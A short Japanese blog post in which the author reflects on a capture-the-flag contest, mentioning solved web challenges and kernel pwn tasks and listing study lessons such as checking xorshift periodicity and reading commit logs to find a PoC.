OSINTはgoogleMap回り続けてたら酔うのであまりやってませんでしたが、webは全完できてよかったです。

pwn全部kernelとは驚きました(笑)easy_kernelくらいは解けるようになっておきたいな。

時間もうちょっとあればhidden_wpathもいけそうだったな。この問題が一番面白い気がする。404-solutoinのPoC探し続けてたけどコミットログ見ればいいだけか~~

楽しかったです!ありがとうございました!

学び

xorshiftは周期がある可能性がある。手元で調べるの大事

暗号系はつまったら一度仕様とか見る。

PoCはバージョン変更のときのコミットログを参考に

コメントする

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

上部へスクロール